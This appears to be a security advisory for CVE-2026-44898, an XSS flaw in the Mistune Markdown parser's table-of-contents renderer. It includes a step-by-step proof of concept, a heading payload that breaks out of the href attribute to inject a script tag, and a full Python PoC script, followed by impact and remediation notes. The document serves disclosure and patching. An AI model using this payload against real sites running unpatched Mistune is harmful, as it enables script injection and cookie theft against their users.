CVE-2026-44898: Mistune TOC Anchor Injection XSS
Summary rendertocul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same headingid callback pattern that triggers H2 also populates the tocitems list that rendertocul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details File: src/mistune/toc.py
python def rendertocul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '<a href="#{}">{}</a>'.format(k, text) # Neither k nor text is passed through escape() at any point
The k and text values come directly from the tocitems list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default addtochook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
python mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blsrc = "# Introduction\n\n## Installation\n" , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))
Output — clean, safe TOC: html <ul> <li><a href="#toc1">Introduction</a> <ul> <li><a href="#toc2">Installation</a></li> </ul> </li> </ul>
Step 2 — Enable the vulnerable headingid callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
python def rawid(token, index): return token.get("text", "")
mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that rendertocul appends:
x"><script>alert(document.cookie)</script><a href="
When rawid processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
python exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))
rendertocul() formats the malicious ID directly into the <a href>:
python '<a href="#{}">{}</a>'.format(k, text) becomes: '<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output: html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li> </ul>
The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches tocitems, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
python #!/usr/bin/env python3 """H4: rendertocul() puts raw heading ID into <a href> without escaping.""" import os, html as h from mistune import createmarkdown from mistune.toc import addtochook, rendertocul
def rawid(token, index): return token.get("text", "")
--- baseline --- mdsafe = createmarkdown(escape=True) addtochook(mdsafe)
blfile = "baselineh4.md" blsrc = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) , state = mdsafe.parse(blsrc) blout = rendertocul(state.env.get("tocitems", []))
print(f"[{blfile}]\n{blsrc}") print("[toc output — safe]") print(blout)
--- exploit --- mdvuln = createmarkdown(escape=True) addtochook(mdvuln, headingid=rawid)
exfile = "exploith4.md" exsrc = '## x"><script>alert(document.cookie)</script><a href="\n' with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) , state = mdvuln.parse(exsrc) exout = rendertocul(state.env.get("tocitems", []))
print(f"[{exfile}]\n{exsrc}") print("[toc output — script injected via href breakout]") print(exout)
--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """
def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>TOC output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H4 — TOC XSS</title><style>{CSS}</style></head><body> <h1>H4 — TOC rendertocul() XSS</h1> <p class="desc">rendertocul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) — neither k (the heading ID) nor text is escaped before insertion.</p> {case("baseline", "Normal headings → sequential IDs → clean TOC links", blfile, blsrc, blout)} {case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", exfile, exsrc, exout)} </body></html>"""
outpath = os.path.join(os.getcwd(), "reporth4.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")
Example usage: bash python poc.py
Once you run the script, open reporth4.html in the browser and observe the behaviour.
Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin | | Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects | | Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
Other sources
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, rendertocul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mistuneto a version that resolves this vulnerability.Fixed in 3.2.1 - Upgrade
Upgrade
mistuneto a version that resolves this vulnerability.Fixed in 3.2.1 - Configuration
Modify render_toc_ul() in src/mistune/toc.py so that the heading ID value (k, used in href="#<id>") is escaped before being inserted into the href attribute (currently neither k nor text are escaped in the format string '<a href="#{{}}">{{}}</a>'.format(k, text).
render_toc_ul() (src/mistune/toc.py) escape heading id (k) before inserting into <a href> = HTML-escape k before formatting into '<a href="#{{}}">{{}}</a>'
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44898?
CVE-2026-44898 has been classified as a vulnerability due to improper handling of user input leading to possible Cross-Site Scripting (XSS) attacks.
How do I fix CVE-2026-44898?
To fix CVE-2026-44898, upgrade the 'mistune' package to version 3.2.1 or later.
What types of software are affected by CVE-2026-44898?
CVE-2026-44898 affects the 'mistune' package, specifically versions 3.2.0 and lower.
What is the main issue with CVE-2026-44898?
The main issue with CVE-2026-44898 involves the lack of HTML escaping when generating links from user-controlled data.
Can CVE-2026-44898 affect web applications?
Yes, CVE-2026-44898 can potentially affect web applications that utilize the vulnerable version of the 'mistune' package to render user-generated content.